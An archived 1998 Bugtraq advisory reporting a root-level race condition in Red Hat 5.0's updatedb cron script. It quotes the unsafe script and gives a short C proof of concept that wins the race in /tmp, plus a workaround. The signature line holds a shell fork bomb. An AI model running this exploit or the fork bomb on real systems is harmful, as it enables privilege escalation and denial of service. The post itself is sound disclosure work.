[6261] in bugtraq
"patched" updatedb with RH 5.0 - root compromise
daemon@ATHENA.MIT.EDU (Michal Zalewski)
Mon Mar 9 13:45:44 1998
Date: Fri, 6 Mar 1998 20:44:47 +0100
Reply-To: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
As an addendum to updatedb/sort bug - there's another vunerability
in this program. On my RH 5.0 it's launched every day from crontab's
script as nobody. Unfortunately, that setuid trick doesn't fix
anything. /etc/cron.daily/updatedb.cron (as root) creates temporary
file in /tmp using mktemp:
TMPFILE=3D`/bin/mktemp /tmp/locatedb.XXXXXX`
chown nobody.nobody $TMPFILE
That's mostly harmless. But after all, /usr/bin/updatedb is launched
via su -c. Hopefully, it will create /tmp/locatedb.XXXXXX.n file, but
there's no any error checking... Script simply moves that output file
(without checking permission nor ownership) to /var/lib/locatedb:
if [ -f $TMPFILE.n ] ; then
SFILE=3D$TMPFILE.n
[...]
mv $SFILE /var/lib/locatedb [...]
chown root.root /var/lib/locatedb [...]
Because this script is running as root (!) and it's extremally
unsafe, you may perform simple tricky race condition. Here's simple
so-called "exploit":
--
#include <dirent.h>
#define STR "locatedb"
char buf[1024];
int infect(struct dirent *s) {
if ((strncmp(STR,s->d_name,strlen(STR))!=3D0)) return -1;
sprintf(buf,"touch %s.n",s->d_name);
system(buf);
exit(0);
return -1;
}
int foo(struct dirent **a,struct dirent **b) {}
int main(int argc, char* argv[])
{
struct dirent **x;
chdir("/tmp");
umask(0);
while (1) scandir("/tmp",&x,infect,foo);
}
--
Simple as only it can be. Our file (in this case empty one
has been moved to /var/lib/locatedb... Hey, but permissions
were NOT changed (666). So not we have an world-writable,
root-owned file. Nice. But that's not all. Try filling it
with junk (eg. a lot of 0s), then run 'locate' utility...
It will cause segmentation fault. It's probably exploitable,
and root/other users privledges may be compromised. Hopefully.
Fix:
There's no simple fix. Bug is in updatedb itself (and it's
file creation method). Updatedb "protected" by very foolish
script... You may try changing /tmp to something more
private inside the script, but it's only a workaround.
_______________________________________________________________________
Micha=B3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.p=
l]
Iterowa=E6 jest rzecz=B1 ludzk=B1, wykonywa=E6 rekursywnie - bosk=B1 [P=
. Deustch]
=3D--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] ----------------=
-=3D
